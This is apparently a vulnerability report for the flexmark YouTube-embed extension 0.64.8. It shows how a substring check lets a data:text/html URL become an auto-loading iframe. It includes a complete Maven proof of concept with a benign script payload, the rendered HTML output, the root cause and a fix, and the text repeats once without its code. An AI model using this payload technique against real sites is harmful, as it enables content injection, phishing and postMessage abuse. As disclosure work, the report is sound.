Describe the bug
flexmark-ext-youtube-embedded converts Markdown links prefixed with @ into embedded YouTube iframes. The renderer validates youtu.be URLs by parsing the host, but the www.youtube.com/watch branch only checks whether the resolved URL string contains www.youtube.com/watch.
Because of that substring check, a non-YouTube URL such as a data: URL can be converted into an auto-loading iframe as long as the string also contains www.youtube.com/watch. This allows attacker-controlled active content to be placed in the rendered HTML when an application renders untrusted Markdown with the YouTube embedded extension enabled.
Affected component:
Affected version:
- Tested against
com.vladsch.flexmark:flexmark-ext-youtube-embedded:0.64.8
To Reproduce
The following is a complete Maven reproducer. It renders attacker-controlled Markdown through the normal parser and HTML renderer with YouTubeLinkExtension enabled. The program fails unless the rendered output contains an iframe whose src is attacker-controlled data:text/html.
mkdir flexmark-youtube-iframe-xss-poc
cd flexmark-youtube-iframe-xss-poc
mkdir -p src/main/java
cat > pom.xml <<'EOF'
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>poc</groupId>
<artifactId>flexmark-youtube-iframe-xss-poc</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>11</maven.compiler.source>
<maven.compiler.target>11</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<dependency>
<groupId>com.vladsch.flexmark</groupId>
<artifactId>flexmark</artifactId>
<version>0.64.8</version>
</dependency>
<dependency>
<groupId>com.vladsch.flexmark</groupId>
<artifactId>flexmark-ext-youtube-embedded</artifactId>
<version>0.64.8</version>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.codehaus.mojo</groupId>
<artifactId>exec-maven-plugin</artifactId>
<version>3.3.0</version>
<configuration>
<mainClass>Repro</mainClass>
</configuration>
</plugin>
</plugins>
</build>
</project>
EOF
cat > src/main/java/Repro.java <<'EOF'
import com.vladsch.flexmark.ext.youtube.embedded.YouTubeLinkExtension;
import com.vladsch.flexmark.html.HtmlRenderer;
import com.vladsch.flexmark.parser.Parser;
import com.vladsch.flexmark.util.ast.Node;
import com.vladsch.flexmark.util.data.MutableDataSet;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Path;
import java.util.Collections;
public class Repro {
public static void main(String[] args) throws Exception {
MutableDataSet options = new MutableDataSet();
options.set(Parser.EXTENSIONS, Collections.singletonList(YouTubeLinkExtension.create()));
Parser parser = Parser.builder(options).build();
HtmlRenderer renderer = HtmlRenderer.builder(options).build();
String markdown =
"@[x](data:text/html,%3Cscript%3Eparent.postMessage(%22FLEXMARK_YOUTUBE_IFRAME_XSS_CONFIRMED%22,%22*%22)%3C/script%3Ewww.youtube.com/watch?v=x)";
Node document = parser.parse(markdown);
String rendered = renderer.render(document);
System.out.println("Rendered HTML:");
System.out.println(rendered);
if (!rendered.contains("<iframe")
|| !rendered.contains("src=\"data:text/html")
|| !rendered.contains("www.youtube.com/embed/x")) {
throw new IllegalStateException("Vulnerable iframe sink was not reproduced");
}
Files.createDirectories(Path.of("target"));
String page =
"<!doctype html>\n" +
"<meta charset=\"utf-8\">\n" +
"<script>\n" +
"window.addEventListener('message', function (event) {\n" +
" document.body.insertAdjacentHTML('beforeend', '<pre id=\"result\">' + event.data + '</pre>');\n" +
"});\n" +
"</script>\n" +
rendered + "\n";
Files.write(Path.of("target", "flexmark-youtube-iframe-xss.html"), page.getBytes(StandardCharsets.UTF_8));
System.out.println("FLEXMARK_YOUTUBE_IFRAME_XSS_CONFIRMED");
System.out.println("Optional browser check: open target/flexmark-youtube-iframe-xss.html and observe the confirmation message posted by the data: iframe.");
}
}
EOF
mvn -q compile exec:java
Resulting Output
The rendered HTML contains an iframe whose src starts with attacker-controlled data:text/html content:
<p><iframe src="data:text/html,%3Cscript%3Eparent.postMessage(%22FLEXMARK_YOUTUBE_IFRAME_XSS_CONFIRMED%22,%22*%22)%3C/script%3Ewww.youtube.com/embed/x" width="420" height="315" class="youtube-embedded" allowfullscreen="true" frameborder="0"></iframe></p>
The reproducer prints:
FLEXMARK_YOUTUBE_IFRAME_XSS_CONFIRMED
It also writes target/flexmark-youtube-iframe-xss.html. Opening that file in a browser demonstrates that the injected data: iframe executes and posts the confirmation message to the parent page.
Root cause
In YouTubeLinkNodeRenderer, the youtu.be branch validates the parsed host:
if (url != null && "youtu.be".equalsIgnoreCase(url.getHost())) {
html.attr("src", "https://www.youtube-nocookie.com/embed" + url.getFile().replace("?t=", "?start="));
...
}
The www.youtube.com/watch branch does not perform the same URL validation. It only checks for a substring and then writes the original resolved URL into the iframe src after a string replacement:
} else if (resolvedLink.getUrl().contains("www.youtube.com/watch")) {
html.attr("src", resolvedLink.getUrl().replace("watch?v=".toLowerCase(), "embed/"));
...
html.srcPos(node.getChars()).withAttr(resolvedLink).tag("iframe");
html.tag("/iframe");
}
For a payload like:
@[x](data:text/html,%3Cscript%3Eparent.postMessage(%22FLEXMARK_YOUTUBE_IFRAME_XSS_CONFIRMED%22,%22*%22)%3C/script%3Ewww.youtube.com/watch?v=x)
the URL is not a YouTube URL, but the substring check still passes and produces an iframe with a data: source.
Expected behavior
Only actual YouTube URLs should be converted into embedded iframes. A URL should not be embedded just because its string contains www.youtube.com/watch.
For example, the renderer should only embed when the parsed URL has:
http or https scheme
- host exactly
www.youtube.com, youtube.com, or another explicitly supported YouTube host
- a valid
/watch path and expected query structure
Otherwise, the input should render as a normal safe link or plain text.
Impact
An application that renders untrusted Markdown with YouTubeLinkExtension enabled can emit an auto-loading attacker-controlled iframe. This is stronger than a dangerous clickable link because the iframe content loads on page view.
The iframe content is not a same-origin script execution in the parent page by itself, but it is still active content injection into the rendered page and can be used for phishing, browser-side interaction, or unsafe postMessage interactions in applications that trust embedded frame messages.
Suggested fix
Apply the same kind of parsed URL validation to the www.youtube.com/watch branch that is already used for the youtu.be branch. Do not use substring matching to decide whether a URL should become an iframe. Also consider rejecting non-HTTP(S) schemes before any iframe rendering path.
Describe the bug
flexmark-ext-youtube-embeddedconverts Markdown links prefixed with@into embedded YouTube iframes. The renderer validatesyoutu.beURLs by parsing the host, but thewww.youtube.com/watchbranch only checks whether the resolved URL string containswww.youtube.com/watch.Because of that substring check, a non-YouTube URL such as a
data:URL can be converted into an auto-loading iframe as long as the string also containswww.youtube.com/watch. This allows attacker-controlled active content to be placed in the rendered HTML when an application renders untrusted Markdown with the YouTube embedded extension enabled.Affected component:
flexmark-ext-youtube-embeddedYouTubeLinkExtensionHtmlRendererAffected version:
com.vladsch.flexmark:flexmark-ext-youtube-embedded:0.64.8To Reproduce
The following is a complete Maven reproducer. It renders attacker-controlled Markdown through the normal parser and HTML renderer with
YouTubeLinkExtensionenabled. The program fails unless the rendered output contains an iframe whosesrcis attacker-controlleddata:text/html.Resulting Output
The rendered HTML contains an iframe whose
srcstarts with attacker-controlleddata:text/htmlcontent:The reproducer prints:
It also writes
target/flexmark-youtube-iframe-xss.html. Opening that file in a browser demonstrates that the injecteddata:iframe executes and posts the confirmation message to the parent page.Root cause
In
YouTubeLinkNodeRenderer, theyoutu.bebranch validates the parsed host:The
www.youtube.com/watchbranch does not perform the same URL validation. It only checks for a substring and then writes the original resolved URL into the iframesrcafter a string replacement:For a payload like:
the URL is not a YouTube URL, but the substring check still passes and produces an iframe with a
data:source.Expected behavior
Only actual YouTube URLs should be converted into embedded iframes. A URL should not be embedded just because its string contains
www.youtube.com/watch.For example, the renderer should only embed when the parsed URL has:
httporhttpsschemewww.youtube.com,youtube.com, or another explicitly supported YouTube host/watchpath and expected query structureOtherwise, the input should render as a normal safe link or plain text.
Impact
An application that renders untrusted Markdown with
YouTubeLinkExtensionenabled can emit an auto-loading attacker-controlled iframe. This is stronger than a dangerous clickable link because the iframe content loads on page view.The iframe content is not a same-origin script execution in the parent page by itself, but it is still active content injection into the rendered page and can be used for phishing, browser-side interaction, or unsafe
postMessageinteractions in applications that trust embedded frame messages.Suggested fix
Apply the same kind of parsed URL validation to the
www.youtube.com/watchbranch that is already used for theyoutu.bebranch. Do not use substring matching to decide whether a URL should become an iframe. Also consider rejecting non-HTTP(S) schemes before any iframe rendering path.